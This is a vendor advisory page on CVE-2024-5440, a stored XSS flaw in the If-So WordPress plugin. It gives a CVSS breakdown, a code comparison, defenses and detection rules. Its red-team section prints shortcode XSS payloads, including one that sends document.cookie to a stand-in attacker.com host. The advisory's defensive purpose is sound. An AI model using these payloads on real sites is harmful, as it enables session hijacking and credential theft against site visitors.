CVE-2024-5440
Executive Summary
CVE-2024-5440 is a Stored Cross-Site Scripting (XSS) vulnerability in the If-So Dynamic Content Personalization WordPress plugin, affecting versions prior to 1.8.0.3. The vulnerability arises from insufficient validation and escaping of shortcode attributes before they are output in a page or post. An authenticated attacker with at least the Contributor role can inject arbitrary JavaScript into shortcode attributes, which will execute when any user views the compromised content. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is specific to its shortcode handling logic.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from wordpress.org. No supply chain compromise of the plugin package itself has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor role)
- User Interaction: Required (victim must view the compromised page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires authenticated access with Contributor privileges, but the impact is limited to stored XSS. The EPSS score is 0.0%, indicating low exploitation activity in the wild.
Deep Dive & Mechanics
The If-So plugin provides shortcodes for dynamic content personalization. The vulnerability exists in how the plugin processes shortcode attributes. When a user with Contributor role or higher inserts a shortcode (e.g., [ifso id="123" condition="..."]), the plugin does not properly sanitize or escape the attribute values before rendering them in the HTML output. An attacker can craft a shortcode attribute containing malicious JavaScript, such as:
[ifso id="123" condition="test" onclick="alert('XSS')"]
When the page or post is rendered, the malicious attribute is output without escaping, allowing the JavaScript to execute in the context of the victim's browser. This is a classic stored XSS vulnerability.
Vulnerable vs. Patched Code
Vulnerable Code (before 1.8.0.3): The plugin likely outputs shortcode attributes directly without escaping, e.g.:
echo '<div class="ifso-content" data-condition="' . $atts['condition'] . '">';
Patched Code (1.8.0.3+):
The patched version uses WordPress's esc_attr() function to escape attribute values:
echo '<div class="ifso-content" data-condition="' . esc_attr($atts['condition']) . '">';
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Prerequisites: Authenticated WordPress account with Contributor role or higher.
- Craft Payload: Create a shortcode with a malicious attribute, e.g.:
[ifso id="1" condition="test" onmouseover="alert(document.cookie)"] - Inject: Insert the shortcode into a post or page via the WordPress editor (Text mode).
- Trigger: Any user viewing the post will trigger the XSS when hovering over the element.
Example Payload:
[ifso id="1" condition="test" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
Blue Team (Detection & Defense)
- Input Validation: Ensure all shortcode attributes are sanitized using
esc_attr()orwp_kses(). - Content Security Policy (CSP): Implement a strict CSP to block inline scripts and untrusted sources.
- Web Application Firewall (WAF): Deploy rules to detect and block XSS payloads in shortcode attributes.
- User Education: Restrict Contributor role usage and monitor for suspicious shortcode injections.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/if-so/(check version in readme.txt) - Logs: WordPress audit logs showing shortcode modifications by Contributor users.
- Network: Outbound connections to attacker-controlled domains from compromised pages.
- Payloads: Shortcode attributes containing
onload=,onclick=,onerror=, orjavascript:.
Detection Engineering
YARA Rule
rule CVE_2024_5440_IfSo_XSS {
meta:
description = "Detects malicious shortcode attributes in If-So plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5440"
strings:
$shortcode = /\[ifso\s+[^\]]*?(on\w+\s*=|javascript:)/i
condition:
$shortcode
}
Sigma Rule
title: CVE-2024-5440 If-So Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in If-So shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains:
- 'onclick='
- 'onmouseover='
- 'javascript:'
http.url|contains: '/wp-content/plugins/if-so/'
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcodes (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5440 If-So Stored XSS Attempt"; flow:to_server; content:"/wp-content/plugins/if-so/"; http_uri; pcre:"/\[ifso\s+[^\]]*?(on\w+\s*=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Update the If-So plugin to version 1.8.0.3 or later.
- Workaround: If immediate update is not possible, disable the plugin or restrict Contributor role from using shortcodes.
- Long-term: Implement a Web Application Firewall (WAF) with XSS rules and enforce Content Security Policy (CSP).
- Monitoring: Review WordPress logs for suspicious shortcode modifications and audit user roles.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.